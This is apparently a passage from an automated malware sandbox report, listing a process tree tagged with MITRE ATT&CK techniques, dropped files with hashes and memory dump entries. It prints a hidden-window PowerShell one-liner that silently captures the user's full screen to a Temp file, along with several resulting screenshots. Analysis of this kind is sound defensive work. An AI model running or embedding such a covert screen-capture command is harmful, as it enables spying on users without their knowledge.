                                  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783139222466.png\"); $g.Dispose(); $bmp.Dispose()""
                                  2⤵
                                  • Hide Artifacts: Hidden Window
                                  • Suspicious use of WriteProcessMemory
                                  PID:3032
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783139222466.png\"); $g.Dispose(); $bmp.Dispose()"
                                    3⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:6100

                              Network

                                    MITRE ATT&CK Enterprise v16

                                    Replay Monitor

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                                    Downloads

                                    StartupProfileData-NonInteractive

                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                    • Size 1KB
                                    • SHA256 5c82c62eecc8fdec335cbc59f90f9f170ef4c8a90e93c9a8030184a9a59d988a
                                    • MD5 SHA1 SHA512 TLSH

                                    StartupProfileData-NonInteractive

                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                    • Size 1KB
                                    • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
                                    • MD5 SHA1 SHA512 TLSH

                                    StartupProfileData-NonInteractive

                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                    • Size 1KB
                                    • SHA256 f788757bce52fa84d6a58e1c7ae0e891bee10854ee5a5658595b44f5ae39d0c8
                                    • MD5 SHA1 SHA512 TLSH

                                    StartupProfileData-NonInteractive

                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                    • Size 1KB
                                    • SHA256 7093f5fa41a598f63eeedaf8b74ff8480c37d57a2a60a90b17c93b5be04111fa
                                    • MD5 SHA1 SHA512 TLSH

                                    __PSScriptPolicyTest_0ptt53dn.lqv.ps1

                                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0ptt53dn.lqv.ps1
                                    • Size 60B
                                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                    • MD5 SHA1 SHA512 TLSH

                                    scr_1783139177940.png

                                    • Path C:\Users\Admin\AppData\Local\Temp\scr_1783139177940.png
                                    • Size 532KB
                                    • SHA256 1ebd5c38d85163427e27fc493f9f1feb74e76de49ec4af424700aa3603163586
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    scr_1783139179734.png

                                    • Path C:\Users\Admin\AppData\Local\Temp\scr_1783139179734.png
                                    • Size 533KB
                                    • SHA256 f46a16922092afd9e01af16def8b9a2a94e625f811b91679d40ba27cd1523eba
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    scr_1783139222466.png

                                    • Path C:\Users\Admin\AppData\Local\Temp\scr_1783139222466.png
                                    • Size 533KB
                                    • SHA256 2796f067d474488d22d399756af3f39d7e94b032d1443ad7363af7bf93feb2ac
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    wmi_8bdb6fa5.vbs

                                    • Path C:\Users\Admin\AppData\Local\Temp\wmi_8bdb6fa5.vbs
                                    • Size 1KB
                                    • SHA256 7bd020c3a7f414b3a03230734b87c664a29e023b4547950053670d6e5754b315
                                    • MD5 SHA1 SHA512 TLSH

                                    default.exc

                                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\Spelling\en-US\default.exc
                                    • Size 2B
                                    • SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
                                    • MD5 SHA1 SHA512

                                    Network Persistent State

                                    • Path C:\Users\Admin\AppData\Roaming\installer\Network\Network Persistent State
                                    • Size 300B
                                    • SHA256 f239687ffd968cb1e1d0d2ae1d704f52105db6f215a1d9f92025b522caa20704
                                    • MD5 SHA1 SHA512 TLSH

                                    Network Persistent State~RFe5a350b.TMP

                                    • Path C:\Users\Admin\AppData\Roaming\installer\Network\Network Persistent State~RFe5a350b.TMP
                                    • Size 59B
                                    • SHA256 226eec4486509917aa336afebd6ff65777b75b65f1fb06891d2a857a9421a974
                                    • MD5 SHA1 SHA512 TLSH

                                    memory/3784-56-0x00000218C8FB0000-0x00000218C8FCE000-memory.dmp

                                    memory/3784-57-0x00000218C8FD0000-0x00000218C9082000-memory.dmp

                                    memory/3784-58-0x00000218C9190000-0x00000218C919A000-memory.dmp

                                    memory/6104-45-0x000001CE27AF0000-0x000001CE27B12000-memory.dmp